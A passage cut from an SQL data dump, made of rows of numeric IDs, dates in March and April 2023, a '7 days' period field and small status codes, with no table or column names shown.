days',0),(72668,11435,13532,13701,221,85,'2023-03-13','7 days',0),(72669,11434,13532,13701,221,85,'2023-03-13','7 days',0),(72670,11433,13532,13701,221,85,'2023-03-13','7 days',0),(72671,11432,13532,13701,221,85,'2023-03-13','7 days',0),(72672,11431,13532,13701,221,85,'2023-03-13','7 days',0),(72673,11269,13532,13701,221,85,'2023-03-13','7 days',0),(72674,11268,13532,13701,221,85,'2023-03-13','7 days',2),(72675,11267,13532,13701,221,85,'2023-03-13','7 days',0),(72676,11266,13532,13701,221,85,'2023-03-13','7 days',0),(72677,11265,13532,13701,221,85,'2023-03-13','7 days',0),(72678,11264,13532,13701,221,85,'2023-03-13','7 days',0),(72679,11263,13532,13701,221,85,'2023-03-13','7 days',0),(72680,11262,13532,13701,221,85,'2023-03-13','7 days',0),(72681,11261,13532,13701,221,85,'2023-03-13','7 days',0),(72682,11260,13532,13701,221,85,'2023-03-13','7 days',0),(72683,21408,13541,13709,194,45,'2023-03-13','7 days',0),(72684,21374,13541,13709,194,45,'2023-03-13','7 days',1),(72685,14534,13541,13709,194,45,'2023-03-13','7 days',1),(72686,12532,13541,13709,194,45,'2023-03-13','7 days',1),(72687,12531,13541,13709,194,45,'2023-03-13','7 days',1),(72688,13913,13501,13674,194,45,'2023-03-14','7 days',0),(72689,12562,13501,13674,194,45,'2023-03-14','7 days',1),(72690,11689,13501,13674,194,45,'2023-03-14','7 days',1),(72691,11687,13501,13674,194,45,'2023-03-14','7 days',1),(72692,11163,13501,13674,194,45,'2023-03-14','7 days',0),(72693,10976,13555,13689,194,45,'2023-03-15','7 days',1),(72694,10975,13555,13689,194,45,'2023-03-15','7 days',1),(72695,5467,13555,13689,194,45,'2023-03-15','7 days',1),(72696,21529,13540,13708,162,73,'2023-03-15','7 days',1),(72697,21568,13540,13708,162,73,'2023-03-15','7 days',0),(72698,21378,13540,13708,162,73,'2023-03-15','7 days',1),(72699,21546,13582,13734,1785,959,'2023-03-17','7 days',1),(72700,21545,13582,13734,1785,959,'2023-03-17','7 days',0),(72701,17215,13582,13734,1785,959,'2023-03-17','7 days',0),(72702,17209,13582,13734,1785,959,'2023-03-17','7 days',0),(72703,17208,13582,13734,1785,959,'2023-03-17','7 days',0),(72704,10393,13582,13734,1785,959,'2023-03-17','7 days',0),(72705,17212,13578,13733,1785,959,'2023-03-17','7 days',1),(72706,17204,13578,13733,1785,959,'2023-03-17','7 days',1),(72707,15747,13578,13733,1785,959,'2023-03-17','7 days',0),(72708,17216,13575,13732,1785,959,'2023-03-17','7 days',0),(72709,13915,13575,13732,1785,959,'2023-03-17','7 days',0),(72710,13914,13575,13732,1785,959,'2023-03-17','7 days',2),(72711,17214,13572,13731,1785,959,'2023-03-17','7 days',0),(72712,10251,13572,13731,1785,959,'2023-03-17','7 days',0),(72713,10212,13572,13731,1785,959,'2023-03-17','7 days',0),(72714,10211,13572,13731,1785,959,'2023-03-17','7 days',0),(72715,21486,13570,13730,1785,959,'2023-03-17','7 days',0),(72716,9033,13558,13706,1674,251,'2023-03-17','7 days',0),(72717,9031,13558,13706,1674,251,'2023-03-17','7 days',0),(72718,9029,13558,13706,1674,251,'2023-03-17','7 days',0),(72719,9028,13558,13706,1674,251,'2023-03-17','7 days',0),(72720,9111,13565,13726,358,251,'2023-03-17','7 days',1),(72721,9110,13565,13726,358,251,'2023-03-17','7 days',0),(72722,9107,13565,13726,358,251,'2023-03-17','7 days',0),(72723,18259,13564,13725,1674,251,'2023-03-17','7 days',2),(72724,5407,13563,13724,357,251,'2023-03-17','7 days',0),(72725,3261,13563,13724,357,251,'2023-03-17','7 days',0),(72726,3257,13563,13724,357,251,'2023-03-17','7 days',0),(72727,10011,13562,13723,358,251,'2023-03-17','7 days',0),(72728,10010,13562,13723,358,251,'2023-03-17','7 days',0),(72729,10009,13562,13723,358,251,'2023-03-17','7 days',0),(72730,10008,13562,13723,358,251,'2023-03-17','7 days',0),(72731,9117,13561,13722,1674,251,'2023-03-17','7 days',0),(72732,9116,13561,13722,1674,251,'2023-03-17','7 days',0),(72733,9115,13561,13722,1674,251,'2023-03-17','7 days',0),(72734,9114,13561,13722,1674,251,'2023-03-17','7 days',0),(72735,9113,13561,13722,1674,251,'2023-03-17','7 days',0),(72736,9936,13560,13721,1674,251,'2023-03-17','7 days',0),(72737,9935,13560,13721,1674,251,'2023-03-17','7 days',0),(72738,9934,13560,13721,1674,251,'2023-03-17','7 days',0),(72739,9933,13560,13721,1674,251,'2023-03-17','7 days',0),(72740,9110,13559,13699,358,251,'2023-03-17','7 days',0),(72741,9109,13559,13699,358,251,'2023-03-17','7 days',0),(72742,9108,13559,13699,358,251,'2023-03-17','7 days',0),(72743,9107,13559,13699,358,251,'2023-03-17','7 days',0),(72744,12562,13567,13728,190,45,'2023-03-17','7 days',1),(72745,11689,13567,13728,190,45,'2023-03-17','7 days',1),(72746,11687,13567,13728,190,45,'2023-03-17','7 days',1),(72747,11163,13587,13737,194,45,'2023-03-17','7 days',0),(72748,11162,13587,13737,194,45,'2023-03-17','7 days',1),(72749,9206,13587,13737,194,45,'2023-03-17','7 days',1),(72750,21529,13588,13738,162,73,'2023-03-18','7 days',1),(72751,21568,13588,13738,162,73,'2023-03-18','7 days',0),(72752,9009,13588,13738,162,73,'2023-03-18','7 days',0),(72753,9008,13588,13738,162,73,'2023-03-18','7 days',0),(72754,665,13588,13738,162,73,'2023-03-18','7 days',0),(72755,21378,13588,13738,162,73,'2023-03-18','7 days',1),(72756,21308,13588,13738,162,73,'2023-03-18','7 days',0),(72757,21307,13588,13738,162,73,'2023-03-18','7 days',1),(72758,639,13588,13738,162,73,'2023-03-18','7 days',0),(72759,12274,13596,13745,1011,91,'2023-03-20','7 days',1),(72760,12273,13596,13745,1011,91,'2023-03-20','7 days',1),(72761,12264,13596,13745,1011,91,'2023-03-20','7 days',1),(72762,12263,13596,13745,1011,91,'2023-03-20','7 days',1),(72763,21627,13140,13340,1749,996,'2023-03-21','7 days',1),(72764,21398,13140,13340,1749,996,'2023-03-21','7 days',0),(72765,21627,13141,13341,1749,996,'2023-03-23','7 days',1),(72766,21398,13141,13341,1749,996,'2023-03-23','7 days',0),(72767,21566,13142,13343,1070,326,'2023-03-23','7 days',0),(72768,21630,13142,13343,1070,326,'2023-03-23','7 days',1),(72769,16385,13610,13758,1732,667,'2023-03-25','7 days',0),(72770,16383,13610,13758,1732,667,'2023-03-25','7 days',0),(72771,16381,13610,13758,1732,667,'2023-03-25','7 days',1),(72772,16379,13610,13758,1732,667,'2023-03-25','7 days',0),(72773,16377,13610,13758,1732,667,'2023-03-25','7 days',0),(72774,17074,13609,13757,1732,667,'2023-03-25','7 days',0),(72775,15399,13609,13757,1732,667,'2023-03-25','7 days',0),(72776,15398,13609,13757,1732,667,'2023-03-25','7 days',0),(72777,15397,13609,13757,1732,667,'2023-03-25','7 days',1),(72778,15396,13609,13757,1732,667,'2023-03-25','7 days',0),(72779,15185,13608,13756,1732,667,'2023-03-25','7 days',0),(72780,15184,13608,13756,1732,667,'2023-03-25','7 days',0),(72781,15183,13608,13756,1732,667,'2023-03-25','7 days',1),(72782,15182,13608,13756,1732,667,'2023-03-25','7 days',1),(72783,15181,13608,13756,1732,667,'2023-03-25','7 days',0),(72784,16328,13607,13755,1732,667,'2023-03-25','7 days',2),(72785,16327,13607,13755,1732,667,'2023-03-25','7 days',0),(72786,16326,13607,13755,1732,667,'2023-03-25','7 days',0),(72787,16325,13607,13755,1732,667,'2023-03-25','7 days',0),(72788,16324,13607,13755,1732,667,'2023-03-25','7 days',1),(72789,16323,13607,13755,1732,667,'2023-03-25','7 days',0),(72790,21462,13606,13623,1749,996,'2023-03-25','7 days',0),(72791,21461,13606,13623,1749,996,'2023-03-25','7 days',0),(72792,21460,13606,13623,1749,996,'2023-03-25','7 days',0),(72793,21459,13606,13623,1749,996,'2023-03-25','7 days',0),(72794,21458,13606,13623,1749,996,'2023-03-25','7 days',0),(72795,21457,13606,13623,1749,996,'2023-03-25','7 days',0),(72796,21456,13606,13623,1749,996,'2023-03-25','7 days',0),(72797,21455,13606,13623,1749,996,'2023-03-25','7 days',0),(72798,21454,13606,13623,1749,996,'2023-03-25','7 days',0),(72799,21453,13606,13623,1749,996,'2023-03-25','7 days',0),(72800,21452,13606,13623,1749,996,'2023-03-25','7 days',0),(72801,21451,13606,13623,1749,996,'2023-03-25','7 days',0),(72802,21450,13606,13623,1749,996,'2023-03-25','7 days',0),(72803,21449,13606,13623,1749,996,'2023-03-25','7 days',0),(72804,21448,13606,13623,1749,996,'2023-03-25','7 days',0),(72805,21447,13606,13623,1749,996,'2023-03-25','7 days',0),(72806,21446,13606,13623,1749,996,'2023-03-25','7 days',2),(72807,21445,13606,13623,1749,996,'2023-03-25','7 days',0),(72808,21444,13606,13623,1749,996,'2023-03-25','7 days',0),(72809,21443,13606,13623,1749,996,'2023-03-25','7 days',2),(72810,21442,13606,13623,1749,996,'2023-03-25','7 days',0),(72811,21441,13606,13623,1749,996,'2023-03-25','7 days',2),(72812,21440,13606,13623,1749,996,'2023-03-25','7 days',0),(72813,21439,13606,13623,1749,996,'2023-03-25','7 days',0),(72814,21438,13606,13623,1749,996,'2023-03-25','7 days',0),(72815,21437,13606,13623,1749,996,'2023-03-25','7 days',0),(72816,21436,13606,13623,1749,996,'2023-03-25','7 days',0),(72817,21435,13606,13623,1749,996,'2023-03-25','7 days',0),(72818,21434,13606,13623,1749,996,'2023-03-25','7 days',0),(72819,21433,13606,13623,1749,996,'2023-03-25','7 days',0),(72820,21432,13606,13623,1749,996,'2023-03-25','7 days',0),(72821,21431,13606,13623,1749,996,'2023-03-25','7 days',0),(72822,21430,13606,13623,1749,996,'2023-03-25','7 days',0),(72823,21429,13606,13623,1749,996,'2023-03-25','7 days',0),(72824,21428,13606,13623,1749,996,'2023-03-25','7 days',0),(72825,21427,13606,13623,1749,996,'2023-03-25','7 days',0),(72826,21426,13606,13623,1749,996,'2023-03-25','7 days',0),(72827,21425,13606,13623,1749,996,'2023-03-25','7 days',0),(72828,21424,13613,13754,1749,996,'2023-03-27','7 days',2),(72829,21423,13613,13754,1749,996,'2023-03-27','7 days',0),(72830,21422,13613,13754,1749,996,'2023-03-27','7 days',0),(72831,21421,13613,13754,1749,996,'2023-03-27','7 days',2),(72832,21420,13613,13754,1749,996,'2023-03-27','7 days',0),(72833,21419,13613,13754,1749,996,'2023-03-27','7 days',0),(72834,21418,13613,13754,1749,996,'2023-03-27','7 days',0),(72835,21417,13613,13754,1749,996,'2023-03-27','7 days',0),(72836,21407,13613,13754,1749,996,'2023-03-27','7 days',0),(72837,21406,13613,13754,1749,996,'2023-03-27','7 days',0),(72838,21405,13613,13754,1749,996,'2023-03-27','7 days',0),(72839,21404,13613,13754,1749,996,'2023-03-27','7 days',0),(72840,21403,13613,13754,1749,996,'2023-03-27','7 days',0),(72841,21402,13613,13754,1749,996,'2023-03-27','7 days',0),(72842,21401,13613,13754,1749,996,'2023-03-27','7 days',0),(72843,21400,13613,13754,1749,996,'2023-03-27','7 days',0),(72844,21399,13613,13754,1749,996,'2023-03-27','7 days',0),(72845,20378,13613,13754,1749,996,'2023-03-27','7 days',0),(72846,20205,13613,13754,1749,996,'2023-03-27','7 days',0),(72847,20201,13613,13754,1749,996,'2023-03-27','7 days',1),(72848,20199,13613,13754,1749,996,'2023-03-27','7 days',0),(72849,20195,13613,13754,1749,996,'2023-03-27','7 days',0),(72850,17682,13600,13749,1664,277,'2023-03-28','7 days',0),(72851,15854,13600,13749,1664,277,'2023-03-28','7 days',0),(72852,11659,13600,13749,1664,277,'2023-03-28','7 days',0),(72853,9909,13600,13749,1664,277,'2023-03-28','7 days',1),(72854,9902,13600,13749,1664,277,'2023-03-28','7 days',0),(72855,21394,13598,13747,194,45,'2023-03-30','7 days',0),(72856,21393,13598,13747,194,45,'2023-03-30','7 days',0),(72857,21392,13598,13747,194,45,'2023-03-30','7 days',1),(72858,21391,13598,13747,194,45,'2023-03-30','7 days',1),(72859,21629,13621,13768,1784,959,'2023-03-31','7 days',0),(72860,17214,13621,13768,1784,959,'2023-03-31','7 days',0),(72861,10251,13621,13768,1784,959,'2023-03-31','7 days',2),(72862,10212,13621,13768,1784,959,'2023-03-31','7 days',0),(72863,10211,13621,13768,1784,959,'2023-03-31','7 days',0),(72864,17212,13621,13768,1784,959,'2023-03-31','7 days',0),(72865,17204,13621,13768,1784,959,'2023-03-31','7 days',1),(72866,15747,13621,13768,1784,959,'2023-03-31','7 days',0),(72867,21506,13621,13768,1784,959,'2023-03-31','7 days',0),(72868,21486,13621,13768,1784,959,'2023-03-31','7 days',0),(72869,17213,13621,13768,1784,959,'2023-03-31','7 days',0),(72870,17211,13621,13768,1784,959,'2023-03-31','7 days',0),(72871,14071,13621,13768,1784,959,'2023-03-31','7 days',0),(72872,17206,13621,13768,1784,959,'2023-03-31','7 days',0),(72873,17210,13621,13768,1784,959,'2023-03-31','7 days',0),(72874,17207,13621,13768,1784,959,'2023-03-31','7 days',0),(72875,17205,13621,13768,1784,959,'2023-03-31','7 days',0),(72876,21546,13621,13768,1784,959,'2023-03-31','7 days',2),(72877,21545,13621,13768,1784,959,'2023-03-31','7 days',0),(72878,17215,13621,13768,1784,959,'2023-03-31','7 days',0),(72879,17209,13621,13768,1784,959,'2023-03-31','7 days',0),(72880,17208,13621,13768,1784,959,'2023-03-31','7 days',0),(72881,10393,13621,13768,1784,959,'2023-03-31','7 days',0),(72882,17216,13621,13768,1784,959,'2023-03-31','7 days',0),(72883,13915,13621,13768,1784,959,'2023-03-31','7 days',0),(72884,13914,13621,13768,1784,959,'2023-03-31','7 days',0),(72885,12531,13620,13767,195,45,'2023-04-04','7 days',1),(72886,11715,13620,13767,195,45,'2023-04-04','7 days',1),(72887,11714,13620,13767,195,45,'2023-04-04','7 days',1),(72888,10976,13620,13767,195,45,'2023-04-04','7 days',1),(72889,10975,13620,13767,195,45,'2023-04-04','7 days',1),(72890,13913,13612,13760,194,45,'2023-04-04','7 days',0),(72891,12562,13612,13760,194,45,'2023-04-04','7 days',1),(72892,11689,13612,13760,194,45,'2023-04-04','7 days',1),(72893,11688,13612,13760,194,45,'2023-04-04','7 days',0),(72894,4512,13627,13774,633,639,'2023-04-05','7 days',1),(72895,4494,13627,13774,633,639,'2023-04-05','7 days',1),(72896,4487,13627,13774,633,639,'2023-04-05','7 days',0),(72897,4483,13627,13774,633,639,'2023-04-05','7 days',0),(72898,4477,13627,13774,633,639,'2023-04-05','7 days',0),(72899,4473,13627,13774,633,639,'2023-04-05','7 days',0),(72900,17074,13634,13778,1370,667,'2023-04-06','7 days',0),(72901,15399,13634,13778,1370,667,'2023-04-06','7 days',0),(72902,15398,13634,13778,1370,667,'2023-04-06','7 days',0),(72903,15397,13634,13778,1370,667,'2023-04-06','7 days',0),(72904,15396,13634,13778,1370,667,'2023-04-06','7 days',0),(72905,21623,13633,13777,1370,667,'2023-04-06','7 days',0),(72906,21622,13633,13777,1370,667,'2023-04-06','7 days',0),(72907,21621,13633,13777,1370,667,'2023-04-06','7 days',0),(72908,21620,13633,13777,1370,667,'2023-04-06','7 days',0),(72909,21619,13633,13777,1370,667,'2023-04-06','7 days',0),(72910,21618,13633,13777,1370,667,'2023-04-06','7 days',0),(72911,14805,13631,13775,1370,667,'2023-04-06','7 days',0),(72912,14767,13631,13775,1370,667,'2023-04-06','7 days',0),(72913,14766,13631,13775,1370,667,'2023-04-06','7 days',0),(72914,14765,13631,13775,1370,667,'2023-04-06','7 days',0),(72915,14764,13631,13775,1370,667,'2023-04-06','7 days',2),(72916,21632,13058,13255,1750,996,'2023-04-10','7 days',1),(72917,21632,13114,13312,1750,996,'2023-04-10','7 days',1),(72918,21630,13645,13789,1069,326,'2023-04-11','7 days',0),(72919,21626,13645,13789,1069,326,'2023-04-11','7 days',0),(72920,21566,13645,13789,1069,326,'2023-04-11','7 days',0),(72921,14051,13645,13789,1069,326,'2023-04-11','7 days',0),(72922,12897,13645,13789,1069,326,'2023-04-11','7 days',0),(72923,12875,13645,13789,1069,326,'2023-04-11','7 days',1),(72924,9805,13645,13789,1069,326,'2023-04-11','7 days',0),(72925,9803,13645,13789,1069,326,'2023-04-11','7 days',0),(72926,9802,13645,13789,1069,326,'2023-04-11','7 days',0),(72927,9801,13645,13789,1069,326,'2023-04-11','7 days',0),(72928,9800,13645,13789,1069,326,'2023-04-11','7 days',0),(72929,9798,13645,13789,1069,326,'2023-04-11','7 days',0),(72930,9159,13639,13783,1781,91,'2023-04-11','7 days',1),(72931,9155,13639,13783,1781,91,'2023-04-11','7 days',1),(72932,7213,13639,13783,1781,91,'2023-04-11','7 days',1),(72933,7212,13639,13783,1781,91,'2023-04-11','7 days',1),(72934,21656,13646,7951,1456,667,'2023-04-14','7 days',0),(72935,21655,13646,7951,1456,667,'2023-04-14','7 days',0),(72936,21654,13646,7951,1456,667,'2023-04-14','7 days',0),(72937,21653,13646,7951,1456,667,'2023-04-14','7 days',0),(72938,21652,13646,7951,1456,667,'2023-04-14','7 days',0),(72939,21651,13646,7951,1456,667,'2023-04-14','7 days',0),(72940,21650,13646,7951,1456,667,'2023-04-14','7 days',1),(72941,21649,13646,7951,1456,667,'2023-04-14','7 days',0),(72942,21648,13646,7951,1456,667,'2023-04-14','7 days',1),(72943,21647,13646,7951,1456,667,'2023-04-14','7 days',0),(72944,21646,13646,7951,1456,667,'2023-04-14','7 days',0),(72945,21645,13646,7951,1456,667,'2023-04-14','7 days',2),(72946,21644,13646,7951,1456,667,'2023-04-14','7 days',0),(72947,21643,13646,7951,1456,667,'2023-04-14','7 days',0),(72948,21642,13646,7951,1456,667,'2023-04-14','7 days',0),(72949,21641,13646,7951,1456,667,'2023-04-14','7 days',0),(72950,21640,13646,7951,1456,667,'2023-04-14','7 days',0),(72951,21639,13646,7951,1456,667,'2023-04-14','7 days',0),(72952,21638,13646,7951,1456,667,'2023-04-14','7 days',2),(72953,21637,13646,7951,1456,667,'2023-04-14','7 days',0),(72954,21636,13646,7951,1456,667,'2023-04-14','7 days',0),(72955,21635,13646,7951,1456,667,'2023-04-14','7 days',0),(72956,21634,13646,7951,1456,667,'2023-04-14','7 days',0),(72957,21633,13646,7951,1456,667,'2023-04-14','7 days',0),(72958,21476,13668,13810,1783,975,'2023-04-17','7 days',0),(72959,21475,13668,13810,1783,975,'2023-04-17','7 days',0),(72960,20788,13668,13810,1783,975,'2023-04-17','7 days',1),(72961,18830,13668,13810,1783,975,'2023-04-17','7 days',0),(72962,17409,13668,13810,1783,975,'2023-04-17','7 days',1),(72963,17408,13668,13810,1783,975,'2023-04-17','7 days',0),(72964,17407,13668,13810,1783,975,'2023-04-17','7 days',0),(72965,17406,13668,13810,1783,975,'2023-04-17','7 days',1),(72966,17405,13668,13810,1783,975,'2023-04-17','7 days',0),(72967,17404,13668,13810,1783,975,'2023-04-17','7 days',0),(72968,17403,13668,13810,1783,975,'2023-04-17','7 days',0),(72969,17391,13668,13810,1783,975,'2023-04-17','7 days',2),(72970,17390,13668,13810,1783,975,'2023-04-17','7 days',0),(72971,17389,13668,13810,1783,975,'2023-04-17','7 days',0),(72972,17388,13668,13810,1783,975,'2023-04-17','7 days',0),(72973,17387,13668,13810,1783,975,'2023-04-17','7 days',0),(72974,17386,13668,13810,1783,975,'2023-04-17','7 days',0),(72975,17385,13668,13810,1783,975,'2023-04-17','7 days',0),(72976,17384,13668,13810,1783,975,'2023-04-17','7 days',0),(72977,17383,13668,13810,1783,975,'2023-04-17','7 days',0),(72978,17382,13668,13810,1783,975,'2023-04-17','7 days',0),(72979,15663,13668,13810,1783,975,'2023-04-17','7 days',1),(72980,17074,13667,13809,1456,667,'2023-04-18','7 days',0),(72981,15399,13667,13809,1456,667,'2023-04-18','7 days',0),(72982,15398,13667,13809,1456,667,'2023-04-18','7 days',0),(72983,15397,13667,13809,1456,667,'2023-04-18','7 days',0),(72984,15396,13667,13809,1456,667,'2023-04-18','7 days',0),(72985,9154,13666,13808,1011,91,'2023-04-18','7 days',1),(72986,9135,13666,13808,1011,91,'2023-04-18','7 days',1),(72987,9134,13666,13808,1011,91,'2023-04-18','7 days',1),(72988,9133,13666,13808,1011,91,'2023-04-18','7 days',1),(72989,7287,13666,13808,1011,91,'2023-04-18','7 days',1),(72990,7286,13666,13808,1011,91,'2023-04-18','7 days',1),(72991,9159,13665,13807,1705,91,'2023-04-18','7 days',1),(72992,9155,13665,13807,1705,91,'2023-04-18','7 days',1),(72993,7213,13665,13807,1705,91,'2023-04-18','7 days',1),(72994,7212,13665,13807,1705,91,'2023-04-18','7 days',1),(72995,21547,13664,13806,1011,91,'2023-04-18','7 days',1),(72996,12274,13663,13805,1705,91,'2023-04-18','7 days',1),(72997,12273,13663,13805,1705,91,'2023-04-18','7 days',1),(72998,12264,13663,13805,1705,91,'2023-04-18','7 days',1),(72999,12263,13663,13805,1705,91,'2023-04-18','7 days',1),(73000,9154,13662,13804,1705,91,'2023-04-18','7 days',1),(73001,9135,13662,13804,1705,91,'2023-04-18','7 days',1),(73002,9134,13662,13804,1705,91,'2023-04-18','7 days',1),(73003,9133,13662,13804,1705,91,'2023-04-18','7 days',1),(73004,7287,13662,13804,1705,91,'2023-04-18','7 days',1),(73005,7286,13662,13804,1705,91,'2023-04-18','7 days',1),(73006,12532,13651,13794,191,45,'2023-04-18','7 days',1),(73007,12531,13651,13794,191,45,'2023-04-18','7 days',1),(73008,11715,13651,13794,191,45,'2023-04-18','7 days',1),(73009,11714,13651,13794,191,45,'2023-04-18','7 days',1),(73010,13913,13652,13759,192,45,'2023-04-18','7 days',0),(73011,12562,13652,13759,192,45,'2023-04-18','7 days',1),(73012,11687,13652,13759,192,45,'2023-04-18','7 days',1),(73013,11163,13652,13759,192,45,'2023-04-18','7 days',0),(73014,658,13653,13795,161,73,'2023-04-18','7 days',0),(73015,21378,13653,13795,161,73,'2023-04-18','7 days',1),(73016,21529,13653,13795,161,73,'2023-04-18','7 days',1),(73017,21377,13653,13795,161,73,'2023-04-18','7 days',2),(73018,8782,13653,13795,161,73,'2023-04-18','7 days',1),(73019,21568,13653,13795,161,73,'2023-04-18','7 days',0),(73020,21629,13686,13828,1310,959,'2023-04-19','7 days',0),(73021,21506,13686,13828,1310,959,'2023-04-19','7 days',0),(73022,17212,13686,13828,1310,959,'2023-04-19','7 days',0),(73023,17204,13686,13828,1310,959,'2023-04-19','7 days',0),(73024,15747,13686,13828,1310,959,'2023-04-19','7 days',0),(73025,17212,13685,13827,1310,959,'2023-04-19','7 days',0),(73026,17204,13685,13827,1310,959,'2023-04-19','7 days',0),(73027,15747,13685,13827,1310,959,'2023-04-19','7 days',0),(73028,21546,13685,13827,1310,959,'2023-04-19','7 days',0),(73029,21545,13685,13827,1310,959,'2023-04-19','7 days',0),(73030,17215,13685,13827,1310,959,'2023-04-19','7 days',0),(73031,17209,13685,13827,1310,959,'2023-04-19','7 days',0),(73032,17208,13685,13827,1310,959,'2023-04-19','7 days',0),(73033,10393,13685,13827,1310,959,'2023-04-19','7 days',0),(73034,21546,13684,13826,1310,959,'2023-04-19','7 days',0),(73035,21545,13684,13826,1310,959,'2023-04-19','7 days',0),(73036,17215,13684,13826,1310,959,'2023-04-19','7 days',0),(73037,17209,13684,13826,1310,959,'2023-04-19','7 days',0),(73038,17208,13684,13826,1310,959,'2023-04-19','7 days',0),(73039,10393,13684,13826,1310,959,'2023-04-19','7 days',0),(73040,21546,13683,13825,1310,959,'2023-04-19','7 days',0),(73041,21545,13683,13825,1310,959,'2023-04-19','7 days',0),(73042,17215,13683,13825,1310,959,'2023-04-19','7 days',0),(73043,17209,13683,13825,1310,959,'2023-04-19','7 days',0),(73044,17208,13683,13825,1310,959,'2023-04-19','7 days',0),(73045,10393,13683,13825,1310,959,'2023-04-19','7 days',0),(73046,11845,13689,13314,195,45,'2023-04-20','7 days',0),(73047,11578,13689,13314,195,45,'2023-04-20','7 days',1),(73048,11577,13689,13314,195,45,'2023-04-20','7 days',1),(73049,11520,13689,13314,195,45,'2023-04-20','7 days',0),(73050,18259,13695,13836,357,251,'2023-04-21','7 days',0),(73051,8601,13695,13836,357,251,'2023-04-21','7 days',0),(73052,3252,13695,13836,357,251,'2023-04-21','7 days',0),(73053,3237,13695,13836,357,251,'2023-04-21','7 days',0),(73054,3234,13695,13836,357,251,'2023-04-21','7 days',0),(73055,9117,13694,13835,359,251,'2023-04-21','7 days',0),(73056,9114,13694,13835,359,251,'2023-04-21','7 days',0),(73057,9048,13694,13835,359,251,'2023-04-21','7 days',0),(73058,9042,13694,13835,359,251,'2023-04-21','7 days',0),(73059,9035,13694,13835,359,251,'2023-04-21','7 days',0),(73060,3240,13693,13834,1674,251,'2023-04-21','7 days',0),(73061,3239,13693,13834,1674,251,'2023-04-21','7 days',2),(73062,3238,13693,13834,1674,251,'2023-04-21','7 days',0),(73063,3237,13693,13834,1674,251,'2023-04-21','7 days',0),(73064,9110,13692,13833,358,251,'2023-04-21','7 days',0),(73065,9109,13692,13833,358,251,'2023-04-21','7 days',0),(73066,9108,13692,13833,358,251,'2023-04-21','7 days',0),(73067,18259,13691,13832,358,251,'2023-04-21','7 days',0),(73068,16780,13691,13832,358,251,'2023-04-21','7 days',0),(73069,16779,13691,13832,358,251,'2023-04-21','7 days',0),(73070,16773,13691,13832,358,251,'2023-04-21','7 days',0),(73071,10010,13690,13831,1674,251,'2023-04-21','7 days',0),(73072,10008,13690,13831,1674,251,'2023-04-21','7 days',0),(73073,10006,13690,13831,1674,251,'2023-04-21','7 days',0),(73074,9931,13690,13831,1674,251,'2023-04-21','7 days',0),(73075,12274,13705,13847,1705,91,'2023-04-22','7 days',1),(73076,12273,13705,13847,1705,91,'2023-04-22','7 days',1),(73077,12264,13705,13847,1705,91,'2023-04-22','7 days',1),(73078,12263,13705,13847,1705,91,'2023-04-22','7 days',1),(73079,9159,13708,13850,1705,91,'2023-04-22','7 days',1),(73080,9155,13708,13850,1705,91,'2023-04-22','7 days',1),(73081,7213,13708,13850,1705,91,'2023-04-22','7 days',1),(73082,7212,13708,13850,1705,91,'2023-04-22','7 days',1),(73083,12274,13706,13848,1705,91,'2023-04-22','7 days',1),(73084,12273,13706,13848,1705,91,'2023-04-22','7 days',0),(73085,12264,13706,13848,1705,91,'2023-04-22','7 days',1),(73086,12263,13706,13848,1705,91,'2023-04-22','7 days',1),(73087,21504,13611,13759,194,45,'2023-04-24','7 days',0),(73088,21503,13611,13759,194,45,'2023-04-24','7 days',1),(73089,21502,13611,13759,194,45,'2023-04-24','7 days',0),(73090,21500,13611,13759,194,45,'2023-04-24','7 days',0),(73091,18277,13726,13863,1675,86,'2023-04-25','7 days',0),(73092,18276,13726,13863,1675,86,'2023-04-25','7 days',0),(73093,18275,13726,13863,1675,86,'2023-04-25','7 days',0),(73094,15634,13726,13863,1675,86,'2023-04-25','7 days',0),(73095,15633,13726,13863,1675,86,'2023-04-25','7 days',0),(73096,4512,13688,13830,633,639,'2023-04-25','7 days',1),(73097,4494,13688,13830,633,639,'2023-04-25','7 days',1),(73098,4487,13688,13830,633,639,'2023-04-25','7 days',0),(73099,4483,13688,13830,633,639,'2023-04-25','7 days',0),(73100,4477,13688,13830,633,639,'2023-04-25','7 days',0),(73101,4473,13688,13830,633,639,'2023-04-25','7 days',0),(73102,8796,13688,13830,633,639,'2023-04-25','7 days',0),(73103,4502,13688,13830,633,639,'2023-04-25','7 days',2),(73104,21534,13726,13863,1675,86,'2023-04-26','7 days',0),(73105,21528,13726,13863,1675,86,'2023-04-26','7 days',1),(73106,21364,13726,13863,1675,86,'2023-04-26','7 days',0),(73107,21363,13726,13863,1675,86,'2023-04-26','7 days',0),(73108,21362,13726,13863,1675,86,'2023-04-26','7 days',0),(73109,12274,13728,13864,1781,91,'2023-04-26','7 days',2),(73110,12273,13728,13864,1781,91,'2023-04-26','7 days',0),(73111,12264,13728,13864,1781,91,'2023-04-26','7 days',2),(73112,12263,13728,13864,1781,91,'2023-04-26','7 days',2),(73113,15738,13729,13759,194,45,'2023-04-26','7 days',0),(73114,15735,13729,13759,194,45,'2023-04-26','7 days',0),(73115,15733,13729,13759,194,45,'2023-04-26','7 days',1),(73116,17212,13721,13860,1784,959,'2023-04-27','7 days',0),(73117,17204,13721,13860,1784,959,'2023-04-27','7 days',0),(73118,15747,13721,13860,1784,959,'2023-04-27','7 days',0),(73119,21629,13721,13860,1784,959,'2023-04-27','7 days',0),(73120,21670,13721,13860,1784,959,'2023-04-27','7 days',2),(73121,21669,13721,13860,1784,959,'2023-04-27','7 days',2),(73122,21668,13721,13860,1784,959,'2023-04-27','7 days',0),(73123,21667,13721,13860,1784,959,'2023-04-27','7 days',0),(73124,21666,13721,13860,1784,959,'2023-04-27','7 days',1),(73125,21665,13721,13860,1784,959,'2023-04-27','7 days',0),(73126,21664,13721,13860,1784,959,'2023-04-27','7 days',0),(73127,21663,13721,13860,1784,959,'2023-04-27','7 days',0),(73128,21662,13721,13860,1784,959,'2023-04-27','7 days',0),(73129,21661,13721,13860,1784,959,'2023-04-27','7 days',0),(73130,21660,13721,13860,1784,959,'2023-04-27','7 days',0),(73131,21659,13721,13860,1784,959,'2023-04-27','7 days',0),(73132,21658,13721,13860,1784,959,'2023-04-27','7 days',0),(73133,21657,13721,13860,1784,959,'2023-04-27','7 days',0),(73134,21670,13720,13859,1784,959,'2023-04-27','7 days',2),(73135,21669,13720,13859,1784,959,'2023-04-27','7 days',2),(73136,21668,13720,13859,1784,959,'2023-04-27','7 days',0),(73137,21667,13720,13859,1784,959,'2023-04-27','7 days',0),(73138,21666,13720,13859,1784,959,'2023-04-27','7 days',1),(73139,21665,13720,13859,1784,959,'2023-04-27','7 